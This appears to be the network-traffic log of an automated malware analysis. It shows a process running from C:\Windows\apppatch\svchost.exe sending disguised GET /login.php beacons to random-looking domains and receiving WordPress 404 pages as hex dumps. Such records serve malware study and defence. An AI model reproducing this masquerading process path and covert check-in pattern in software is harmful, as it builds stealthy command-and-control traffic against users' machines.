                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wZCvFrbZ6XjmX0m7Fmiy4Hpcx20UKwgvnnM4WEsFGdMWMgYIc1bWFAfdCl1C7ADoNKuWgvAptrfaWTKdUvX8AkAycEVkes%2FL4ADRQQClUIxctKbcthEDjUsUSIrLcQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101cd83f2518c0-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1290&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=2130978&cwnd=251&unsent_bytes=0&cid=a304908a41432685&ts=909&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC426INData Raw: 37 63 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7cae<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22
                                                                                                                                                                                                                    Data Ascii: <meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta property="
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c
                                                                                                                                                                                                                    Data Ascii: ){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65
                                                                                                                                                                                                                    Data Ascii: eof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(se
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e 6d 69
                                                                                                                                                                                                                    Data Ascii: oji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.mi
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a
                                                                                                                                                                                                                    Data Ascii: iption{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weight:
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c 6f 72
                                                                                                                                                                                                                    Data Ascii: -slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{color
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74
                                                                                                                                                                                                                    Data Ascii: gb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-content
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77
                                                                                                                                                                                                                    Data Ascii: commerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="passw
                                                                                                                                                                                                                    2024-11-11 17:48:22 UTC1369INData Raw: 6f 6d 6d 65 72 63 65 2d 45 64 69 74 41 63 63 6f 75 6e 74 46 6f 72 6d 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 66 6f 72 6d 2d 72 6f 77 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 49 6e 70 75 74 2e 69 6e 70 75 74 2d 74 65 78 74 3a 66 6f 63 75 73 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 2e 61 73 74 2d 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 70 61 67 69 6e 61 74 69 6f 6e 20 75 6c 2e 70 61 67 65 2d 6e 75 6d 62 65 72 73 20 6c 69 20 61 3a 66 6f 63 75 73 2c 62 6f 64 79 20 23 63 6f 6e 74 65 6e 74 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 20 66 6f 72 6d 20 2e 66 6f 72 6d 2d 72 6f 77 20 2e 73 65 6c 65 63 74 32 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 64 65 66 61 75 6c 74 20 2e 73 65 6c 65 63 74 32 2d 73 65 6c
                                                                                                                                                                                                                    Data Ascii: ommerce-EditAccountForm .woocommerce-form-row .woocommerce-Input.input-text:focus,.woocommerce .ast-woocommerce-container .woocommerce-pagination ul.page-numbers li a:focus,body #content .woocommerce form .form-row .select2-container--default .select2-sel


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    2192.168.2.449746188.114.96.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC949INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:23 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XHMa3xnoPRPaEWtUrpS95KVifnR3CdgrMd76xtSZxSVjhoYCoSXsKt6cF%2BZlsusOX7fRhUzLU0R6tQa5uMkDcrAz%2FYGaIfqNPYNbo4NHHzF%2BVOLfaaE1%2BSLxOt7yQg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101ce4addd0f85-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1297&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2192278&cwnd=246&unsent_bytes=0&cid=c68c2539a96fe2ce&ts=855&x=0"
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC420INData Raw: 37 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                                    Data Ascii: 7ca8<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC1369INData Raw: 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70
                                                                                                                                                                                                                    Data Ascii: yle><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta prop
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC1369INData Raw: 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e
                                                                                                                                                                                                                    Data Ascii: on c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC1369INData Raw: 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61
                                                                                                                                                                                                                    Data Ascii: "!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.pa
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC1369INData Raw: 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d
                                                                                                                                                                                                                    Data Ascii: ncatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/m
                                                                                                                                                                                                                    2024-11-11 17:48:23 UTC1369INData Raw: 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77
                                                                                                                                                                                                                    Data Ascii: -description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-w


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    3192.168.2.449754188.114.97.34437436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    2024-11-11 17:48:30 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lysyvan.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    2024-11-11 17:48:31 UTC1088INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:31 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                    link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                    server-timing: amp_sanitizer;dur="39.0",amp_style_sanitizer;dur="18.0",amp_tag_and_attribute_sanitizer;dur="14.5",amp_optimizer;dur="16.1"
